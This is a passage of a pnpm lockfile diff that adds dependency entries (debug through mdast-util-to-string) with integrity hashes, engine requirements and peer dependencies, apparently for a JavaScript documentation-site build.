sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==} + + debug@4.4.3: + resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + decode-named-character-reference@1.2.0: + resolution: {integrity: sha512-c6fcElNV6ShtZXmsgNgFFV5tVX2PaV4g+MOAkb8eXHvn6sryJBrZa9r0zV6+dtTyoCKxtDy5tyQ5ZwQuidtd+Q==} + + defu@6.1.4: + resolution: {integrity: sha512-mEQCMmwJu317oSz8CwdIOdwf3xMif1ttiM8LTufzc3g6kR+9Pe236twL8j3IYT1F7GfRgGcW6MWxzZjLIkuHIg==} + + dequal@2.0.3: + resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} + engines: {node: '>=6'} + + destr@2.0.5: + resolution: {integrity: sha512-ugFTXCtDZunbzasqBxrK93Ik/DRYsO6S/fedkWEMKqt04xZ4csmnmwGDBAb07QWNaGMAmnTIemsYZCksjATwsA==} + + detect-libc@2.1.2: + resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} + engines: {node: '>=8'} + + deterministic-object-hash@2.0.2: + resolution: {integrity: sha512-KxektNH63SrbfUyDiwXqRb1rLwKt33AmMv+5Nhsw1kqZ13SJBRTgZHtGbE+hH3a1mVW1cz+4pqSWVPAtLVXTzQ==} + engines: {node: '>=18'} + + devalue@5.6.0: + resolution: {integrity: sha512-BaD1s81TFFqbD6Uknni42TrolvEWA1Ih5L+OiHWmi4OYMJVwAYPGtha61I9KxTf52OvVHozHyjPu8zljqdF3uA==} + + devlop@1.1.0: + resolution: {integrity: sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==} + + dfa@1.2.0: + resolution: {integrity: sha512-ED3jP8saaweFTjeGX8HQPjeC1YYyZs98jGNZx6IiBvxW7JG5v492kamAQB3m2wop07CvU/RQmzcKr6bgcC5D/Q==} + + diff@5.2.0: + resolution: {integrity: sha512-uIFDxqpRZGZ6ThOk84hEfqWoHx2devRFvpTZcTHur85vImfaxUbTW9Ryh4CpCuDnToOP1CEtXKIgytHBPVff5A==} + engines: {node: '>=0.3.1'} + + direction@2.0.1: + resolution: {integrity: sha512-9S6m9Sukh1cZNknO1CWAr2QAWsbKLafQiyM5gZ7VgXHeuaoUwffKN4q6NC4A/Mf9iiPlOXQEKW/Mv/mh9/3YFA==} + hasBin: true + + dlv@1.1.3: + resolution: {integrity: sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==} + + dom-serializer@2.0.0: + resolution: {integrity: sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==} + + domelementtype@2.3.0: + resolution: {integrity: sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==} + + domhandler@5.0.3: + resolution: {integrity: sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==} + engines: {node: '>= 4'} + + domutils@3.2.2: + resolution: {integrity: sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==} + + dset@3.1.4: + resolution: {integrity: sha512-2QF/g9/zTaPDc3BjNcVTGoBbXBgYfMTTceLaYcFJ/W9kggFUkhxD/hMEeuLKbugyef9SqAx8cpgwlIP/jinUTA==} + engines: {node: '>=4'} + + electron-to-chromium@1.5.267: + resolution: {integrity: sha512-0Drusm6MVRXSOJpGbaSVgcQsuB4hEkMpHXaVstcPmhu5LIedxs1xNK/nIxmQIU/RPC0+1/o0AVZfBTkTNJOdUw==} + + embla-carousel-auto-scroll@8.6.0: + resolution: {integrity: sha512-WT9fWhNXFpbQ6kP+aS07oF5IHYLZ1Dx4DkwgCY8Hv2ZyYd2KMCPfMV1q/cA3wFGuLO7GMgKiySLX90/pQkcOdQ==} + peerDependencies: + embla-carousel: 8.6.0 + + embla-carousel-autoplay@8.6.0: + resolution: {integrity: sha512-OBu5G3nwaSXkZCo1A6LTaFMZ8EpkYbwIaH+bPqdBnDGQ2fh4+NbzjXjs2SktoPNKCtflfVMc75njaDHOYXcrsA==} + peerDependencies: + embla-carousel: 8.6.0 + + embla-carousel-fade@8.6.0: + resolution: {integrity: sha512-qaYsx5mwCz72ZrjlsXgs1nKejSrW+UhkbOMwLgfRT7w2LtdEB03nPRI06GHuHv5ac2USvbEiX2/nAHctcDwvpg==} + peerDependencies: + embla-carousel: 8.6.0 + + embla-carousel@8.6.0: + resolution: {integrity: sha512-SjWyZBHJPbqxHOzckOfo8lHisEaJWmwd23XppYFYVh10bU66/Pn5tkVkbkCMZVdbUE5eTCI2nD8OyIP4Z+uwkA==} + + emmet@2.4.11: + resolution: {integrity: sha512-23QPJB3moh/U9sT4rQzGgeyyGIrcM+GH5uVYg2C6wZIxAIJq7Ng3QLT79tl8FUwDXhyq9SusfknOrofAKqvgyQ==} + + emoji-regex-xs@2.0.1: + resolution: {integrity: sha512-1QFuh8l7LqUcKe24LsPUNzjrzJQ7pgRwp1QMcZ5MX6mFplk2zQ08NVCM84++1cveaUUYtcCYHmeFEuNg16sU4g==} + engines: {node: '>=10.0.0'} + + emoji-regex@10.6.0: + resolution: {integrity: sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A==} + + emoji-regex@8.0.0: + resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} + + entities@4.5.0: + resolution: {integrity: sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==} + engines: {node: '>=0.12'} + + entities@6.0.1: + resolution: {integrity: sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==} + engines: {node: '>=0.12'} + + es-module-lexer@1.7.0: + resolution: {integrity: sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==} + + esast-util-from-estree@2.0.0: + resolution: {integrity: sha512-4CyanoAudUSBAn5K13H4JhsMH6L9ZP7XbLVe/dKybkxMO7eDyLsT8UHl9TRNrU2Gr9nz+FovfSIjuXWJ81uVwQ==} + + esast-util-from-js@2.0.1: + resolution: {integrity: sha512-8Ja+rNJ0Lt56Pcf3TAmpBZjmx8ZcK5Ts4cAzIOjsjevg9oSXJnl6SUQ2EevU8tv3h6ZLWmoKL5H4fgWvdvfETw==} + + esbuild@0.25.12: + resolution: {integrity: sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==} + engines: {node: '>=18'} + hasBin: true + + escalade@3.2.0: + resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==} + engines: {node: '>=6'} + + escape-html@1.0.3: + resolution: {integrity: sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==} + + escape-string-regexp@5.0.0: + resolution: {integrity: sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==} + engines: {node: '>=12'} + + estree-util-attach-comments@3.0.0: + resolution: {integrity: sha512-cKUwm/HUcTDsYh/9FgnuFqpfquUbwIqwKM26BVCGDPVgvaCl/nDCCjUfiLlx6lsEZ3Z4RFxNbOQ60pkaEwFxGw==} + + estree-util-build-jsx@3.0.1: + resolution: {integrity: sha512-8U5eiL6BTrPxp/CHbs2yMgP8ftMhR5ww1eIKoWRMlqvltHF8fZn5LRDvTKuxD3DUn+shRbLGqXemcP51oFCsGQ==} + + estree-util-is-identifier-name@3.0.0: + resolution: {integrity: sha512-hFtqIDZTIUZ9BXLb8y4pYGyk6+wekIivNVTcmvk8NoOh+VeRn5y6cEHzbURrWbfp1fIqdVipilzj+lfaadNZmg==} + + estree-util-scope@1.0.0: + resolution: {integrity: sha512-2CAASclonf+JFWBNJPndcOpA8EMJwa0Q8LUFJEKqXLW6+qBvbFZuF5gItbQOs/umBUkjviCSDCbBwU2cXbmrhQ==} + + estree-util-to-js@2.0.0: + resolution: {integrity: sha512-WDF+xj5rRWmD5tj6bIqRi6CkLIXbbNQUcxQHzGysQzvHmdYG2G7p/Tf0J0gpxGgkeMZNTIjT/AoSvC9Xehcgdg==} + + estree-util-visit@2.0.0: + resolution: {integrity: sha512-m5KgiH85xAhhW8Wta0vShLcUvOsh3LLPI2YVwcbio1l7E09NTLL1EyMZFM1OyWowoH0skScNbhOPl4kcBgzTww==} + + estree-walker@2.0.2: + resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==} + + estree-walker@3.0.3: + resolution: {integrity: sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==} + + eventemitter3@5.0.1: + resolution: {integrity: sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA==} + + expressive-code@0.41.5: + resolution: {integrity: sha512-iXl9BgDogQgzgE/WRSrcyU8upOcRZrXPMiu6tegEHML57YLQ65S0E3/sjAXmMZy0GXoPs60s9jbwoMo/mdEQOg==} + + extend@3.0.2: + resolution: {integrity: sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==} + + fast-deep-equal@3.1.3: + resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} + + fast-uri@3.1.0: + resolution: {integrity: sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==} + + fdir@6.5.0: + resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==} + engines: {node: '>=12.0.0'} + peerDependencies: + picomatch: ^3 || ^4 + peerDependenciesMeta: + picomatch: + optional: true + + fflate@0.7.4: + resolution: {integrity: sha512-5u2V/CDW15QM1XbbgS+0DfPxVB+jUKhWEKuuFuHncbk3tEEqzmoXL+2KyOFuKGqOnmdIy0/davWF1CkuwtibCw==} + + flattie@1.1.1: + resolution: {integrity: sha512-9UbaD6XdAL97+k/n+N7JwX46K/M6Zc6KcFYskrYL8wbBV/Uyk0CTAMY0VT+qiK5PM7AIc9aTWYtq65U7T+aCNQ==} + engines: {node: '>=8'} + + fontace@0.3.1: + resolution: {integrity: sha512-9f5g4feWT1jWT8+SbL85aLIRLIXUaDygaM2xPXRmzPYxrOMNok79Lr3FGJoKVNKibE0WCunNiEVG2mwuE+2qEg==} + + fontkit@2.0.4: + resolution: {integrity: sha512-syetQadaUEDNdxdugga9CpEYVaQIxOwk7GlwZWWZ19//qW4zE5bknOKeMBDYAASwnpaSHKJITRLMF9m1fp3s6g==} + + fsevents@2.3.3: + resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + + gensync@1.0.0-beta.2: + resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==} + engines: {node: '>=6.9.0'} + + get-caller-file@2.0.5: + resolution: {integrity: sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==} + engines: {node: 6.* || 8.* || >= 10.*} + + get-east-asian-width@1.4.0: + resolution: {integrity: sha512-QZjmEOC+IT1uk6Rx0sX22V6uHWVwbdbxf1faPqJ1QhLdGgsRGCZoyaQBm/piRdJy/D2um6hM1UP7ZEeQ4EkP+Q==} + engines: {node: '>=18'} + + github-slugger@2.0.0: + resolution: {integrity: sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw==} + + h3@1.15.4: + resolution: {integrity: sha512-z5cFQWDffyOe4vQ9xIqNfCZdV4p//vy6fBnr8Q1AWnVZ0teurKMG66rLj++TKwKPUP3u7iMUvrvKaEUiQw2QWQ==} + + hast-util-from-html@2.0.3: + resolution: {integrity: sha512-CUSRHXyKjzHov8yKsQjGOElXy/3EKpyX56ELnkHH34vDVw1N1XSQ1ZcAvTyAPtGqLTuKP/uxM+aLkSPqF/EtMw==} + + hast-util-from-parse5@8.0.3: + resolution: {integrity: sha512-3kxEVkEKt0zvcZ3hCRYI8rqrgwtlIOFMWkbclACvjlDw8Li9S2hk/d51OI0nr/gIpdMHNepwgOKqZ/sy0Clpyg==} + + hast-util-has-property@3.0.0: + resolution: {integrity: sha512-MNilsvEKLFpV604hwfhVStK0usFY/QmM5zX16bo7EjnAEGofr5YyI37kzopBlZJkHD4t887i+q/C8/tr5Q94cA==} + + hast-util-is-element@3.0.0: + resolution: {integrity: sha512-Val9mnv2IWpLbNPqc/pUem+a7Ipj2aHacCwgNfTiK0vJKl0LF+4Ba4+v1oPHFpf3bLYmreq0/l3Gud9S5OH42g==} + + hast-util-parse-selector@4.0.0: + resolution: {integrity: sha512-wkQCkSYoOGCRKERFWcxMVMOcYE2K1AaNLU8DXS9arxnLOUEWbOXKXiJUNzEpqZ3JOKpnha3jkFrumEjVliDe7A==} + + hast-util-raw@9.1.0: + resolution: {integrity: sha512-Y8/SBAHkZGoNkpzqqfCldijcuUKh7/su31kEBp67cFY09Wy0mTRgtsLYsiIxMJxlu0f6AA5SUTbDR8K0rxnbUw==} + + hast-util-select@6.0.4: + resolution: {integrity: sha512-RqGS1ZgI0MwxLaKLDxjprynNzINEkRHY2i8ln4DDjgv9ZhcYVIHN9rlpiYsqtFwrgpYU361SyWDQcGNIBVu3lw==} + + hast-util-to-estree@3.1.3: + resolution: {integrity: sha512-48+B/rJWAp0jamNbAAf9M7Uf//UVqAoMmgXhBdxTDJLGKY+LRnZ99qcG+Qjl5HfMpYNzS5v4EAwVEF34LeAj7w==} + + hast-util-to-html@9.0.5: + resolution: {integrity: sha512-OguPdidb+fbHQSU4Q4ZiLKnzWo8Wwsf5bZfbvu7//a9oTYoqD/fWpe96NuHkoS9h0ccGOTe0C4NGXdtS0iObOw==} + + hast-util-to-jsx-runtime@2.3.6: + resolution: {integrity: sha512-zl6s8LwNyo1P9uw+XJGvZtdFF1GdAkOg8ujOw+4Pyb76874fLps4ueHXDhXWdk6YHQ6OgUtinliG7RsYvCbbBg==} + + hast-util-to-parse5@8.0.1: + resolution: {integrity: sha512-MlWT6Pjt4CG9lFCjiz4BH7l9wmrMkfkJYCxFwKQic8+RTZgWPuWxwAfjJElsXkex7DJjfSJsQIt931ilUgmwdA==} + + hast-util-to-string@3.0.1: + resolution: {integrity: sha512-XelQVTDWvqcl3axRfI0xSeoVKzyIFPwsAGSLIsKdJKQMXDYJS4WYrBNF/8J7RdhIcFI2BOHgAifggsvsxp/3+A==} + + hast-util-to-text@4.0.2: + resolution: {integrity: sha512-KK6y/BN8lbaq654j7JgBydev7wuNMcID54lkRav1P0CaE1e47P72AWWPiGKXTJU271ooYzcvTAn/Zt0REnvc7A==} + + hast-util-whitespace@3.0.0: + resolution: {integrity: sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==} + + hastscript@9.0.1: + resolution: {integrity: sha512-g7df9rMFX/SPi34tyGCyUBREQoKkapwdY/T04Qn9TDWfHhAYt4/I0gMVirzK5wEzeUqIjEB+LXC/ypb7Aqno5w==} + + hex-rgb@4.3.0: + resolution: {integrity: sha512-Ox1pJVrDCyGHMG9CFg1tmrRUMRPRsAWYc/PinY0XzJU4K7y7vjNoLKIQ7BR5UJMCxNN8EM1MNDmHWA/B3aZUuw==} + engines: {node: '>=6'} + + html-escaper@3.0.3: + resolution: {integrity: sha512-RuMffC89BOWQoY0WKGpIhn5gX3iI54O6nRA0yC124NYVtzjmFWBIiFd8M0x+ZdX0P9R4lADg1mgP8C7PxGOWuQ==} + + html-void-elements@3.0.0: + resolution: {integrity: sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==} + + http-cache-semantics@4.2.0: + resolution: {integrity: sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==} + + import-meta-resolve@4.2.0: + resolution: {integrity: sha512-Iqv2fzaTQN28s/FwZAoFq0ZSs/7hMAHJVX+w8PZl3cY19Pxk6jFFalxQoIfW2826i/fDLXv8IiEZRIT0lDuWcg==} + + inline-style-parser@0.2.7: + resolution: {integrity: sha512-Nb2ctOyNR8DqQoR0OwRG95uNWIC0C1lCgf5Naz5H6Ji72KZ8OcFZLz2P5sNgwlyoJ8Yif11oMuYs5pBQa86csA==} + + iron-webcrypto@1.2.1: + resolution: {integrity: sha512-feOM6FaSr6rEABp/eDfVseKyTMDt+KGpeB35SkVn9Tyn0CqvVsY3EwI0v5i8nMHyJnzCIQf7nsy3p41TPkJZhg==} + + is-alphabetical@2.0.1: + resolution: {integrity: sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==} + + is-alphanumerical@2.0.1: + resolution: {integrity: sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==} + + is-decimal@2.0.1: + resolution: {integrity: sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==} + + is-docker@3.0.0: + resolution: {integrity: sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ==} + engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} + hasBin: true + + is-fullwidth-code-point@3.0.0: + resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} + engines: {node: '>=8'} + + is-hexadecimal@2.0.1: + resolution: {integrity: sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==} + + is-inside-container@1.0.0: + resolution: {integrity: sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA==} + engines: {node: '>=14.16'} + hasBin: true + + is-plain-obj@4.1.0: + resolution: {integrity: sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==} + engines: {node: '>=12'} + + is-wsl@3.1.0: + resolution: {integrity: sha512-UcVfVfaK4Sc4m7X3dUSoHoozQGBEFeDC+zVo06t98xe8CzHSZZBekNXH+tu0NalHolcJ/QAGqS46Hef7QXBIMw==} + engines: {node: '>=16'} + + js-tokens@4.0.0: + resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} + + js-yaml@4.1.1: + resolution: {integrity: sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==} + hasBin: true + + jsesc@3.1.0: + resolution: {integrity: sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==} + engines: {node: '>=6'} + hasBin: true + + json-schema-traverse@1.0.0: + resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==} + + json5@2.2.3: + resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==} + engines: {node: '>=6'} + hasBin: true + + jsonc-parser@2.3.1: + resolution: {integrity: sha512-H8jvkz1O50L3dMZCsLqiuB2tA7muqbSg1AtGEkN0leAqGjsUzDJir3Zwr02BhqdcITPg3ei3mZ+HjMocAknhhg==} + + jsonc-parser@3.3.1: + resolution: {integrity: sha512-HUgH65KyejrUFPvHFPbqOY0rsFip3Bo5wb4ngvdi1EpCYWUQDC5V+Y7mZws+DLkr4M//zQJoanu1SP+87Dv1oQ==} + + kleur@3.0.3: + resolution: {integrity: sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==} + engines: {node: '>=6'} + + kleur@4.1.5: + resolution: {integrity: sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==} + engines: {node: '>=6'} + + linebreak@1.1.0: + resolution: {integrity: sha512-MHp03UImeVhB7XZtjd0E4n6+3xr5Dq/9xI/5FptGk5FrbDR3zagPa2DS6U8ks/3HjbKWG9Q1M2ufOzxV2qLYSQ==} + + lodash@4.17.21: + resolution: {integrity: sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==} + + longest-streak@3.1.0: + resolution: {integrity: sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==} + + lru-cache@10.4.3: + resolution: {integrity: sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==} + + lru-cache@5.1.1: + resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==} + + magic-string@0.30.21: + resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==} + + magicast@0.5.1: + resolution: {integrity: sha512-xrHS24IxaLrvuo613F719wvOIv9xPHFWQHuvGUBmPnCA/3MQxKI3b+r7n1jAoDHmsbC5bRhTZYR77invLAxVnw==} + + markdown-extensions@2.0.0: + resolution: {integrity: sha512-o5vL7aDWatOTX8LzaS1WMoaoxIiLRQJuIKKe2wAw6IeULDHaqbiqiggmx+pKvZDb1Sj+pE46Sn1T7lCqfFtg1Q==} + engines: {node: '>=16'} + + markdown-table@3.0.4: + resolution: {integrity: sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw==} + + mdast-util-definitions@6.0.0: + resolution: {integrity: sha512-scTllyX6pnYNZH/AIp/0ePz6s4cZtARxImwoPJ7kS42n+MnVsI4XbnG6d4ibehRIldYMWM2LD7ImQblVhUejVQ==} + + mdast-util-find-and-replace@3.0.2: + resolution: {integrity: sha512-Tmd1Vg/m3Xz43afeNxDIhWRtFZgM2VLyaf4vSTYwudTyeuTneoL3qtWMA5jeLyz/O1vDJmmV4QuScFCA2tBPwg==} + + mdast-util-from-markdown@2.0.2: + resolution: {integrity: sha512-uZhTV/8NBuw0WHkPTrCqDOl0zVe1BIng5ZtHoDk49ME1qqcjYmmLmOf0gELgcRMxN4w2iuIeVso5/6QymSrgmA==} + + mdast-util-gfm-autolink-literal@2.0.1: + resolution: {integrity: sha512-5HVP2MKaP6L+G6YaxPNjuL0BPrq9orG3TsrZ9YXbA3vDw/ACI4MEsnoDpn6ZNm7GnZgtAcONJyPhOP8tNJQavQ==} + + mdast-util-gfm-footnote@2.1.0: + resolution: {integrity: sha512-sqpDWlsHn7Ac9GNZQMeUzPQSMzR6Wv0WKRNvQRg0KqHh02fpTz69Qc1QSseNX29bhz1ROIyNyxExfawVKTm1GQ==} + + mdast-util-gfm-strikethrough@2.0.0: + resolution: {integrity: sha512-mKKb915TF+OC5ptj5bJ7WFRPdYtuHv0yTRxK2tJvi+BDqbkiG7h7u/9SI89nRAYcmap2xHQL9D+QG/6wSrTtXg==} + + mdast-util-gfm-table@2.0.0: + resolution: {integrity: sha512-78UEvebzz/rJIxLvE7ZtDd/vIQ0RHv+3Mh5DR96p7cS7HsBhYIICDBCu8csTNWNO6tBWfqXPWekRuj2FNOGOZg==} + + mdast-util-gfm-task-list-item@2.0.0: + resolution: {integrity: sha512-IrtvNvjxC1o06taBAVJznEnkiHxLFTzgonUdy8hzFVeDun0uTjxxrRGVaNFqkU1wJR3RBPEfsxmU6jDWPofrTQ==} + + mdast-util-gfm@3.1.0: + resolution: {integrity: sha512-0ulfdQOM3ysHhCJ1p06l0b0VKlhU0wuQs3thxZQagjcjPrlFRqY215uZGHHJan9GEAXd9MbfPjFJz+qMkVR6zQ==} + + mdast-util-mdx-expression@2.0.1: + resolution: {integrity: sha512-J6f+9hUp+ldTZqKRSg7Vw5V6MqjATc+3E4gf3CFNcuZNWD8XdyI6zQ8GqH7f8169MM6P7hMBRDVGnn7oHB9kXQ==} + + mdast-util-mdx-jsx@3.2.0: + resolution: {integrity: sha512-lj/z8v0r6ZtsN/cGNNtemmmfoLAFZnjMbNyLzBafjzikOM+glrjNHPlf6lQDOTccj9n5b0PPihEBbhneMyGs1Q==} + + mdast-util-mdx@3.0.0: + resolution: {integrity: sha512-JfbYLAW7XnYTTbUsmpu0kdBUVe+yKVJZBItEjwyYJiDJuZ9w4eeaqks4HQO+R7objWgS2ymV60GYpI14Ug554w==} + + mdast-util-mdxjs-esm@2.0.1: + resolution: {integrity: sha512-EcmOpxsZ96CvlP03NghtH1EsLtr0n9Tm4lPUJUBccV9RwUOneqSycg19n5HGzCf+10LozMRSObtVr3ee1WoHtg==} + + mdast-util-phrasing@4.1.0: + resolution: {integrity: sha512-TqICwyvJJpBwvGAMZjj4J2n0X8QWp21b9l0o7eXyVJ25YNWYbJDVIyD1bZXE6WtV6RmKJVYmQAKWa0zWOABz2w==} + + mdast-util-to-hast@13.2.1: + resolution: {integrity: sha512-cctsq2wp5vTsLIcaymblUriiTcZd0CwWtCbLvrOzYCDZoWyMNV8sZ7krj09FSnsiJi3WVsHLM4k6Dq/yaPyCXA==} + + mdast-util-to-markdown@2.1.2: + resolution: {integrity: sha512-xj68wMTvGXVOKonmog6LwyJKrYXZPvlwabaryTjLh9LuvovB/KAH+kvi8Gjj+7rJjsFi23nkUxRQv1KqSroMqA==} + + mdast-util-to-string@4.0.0: + 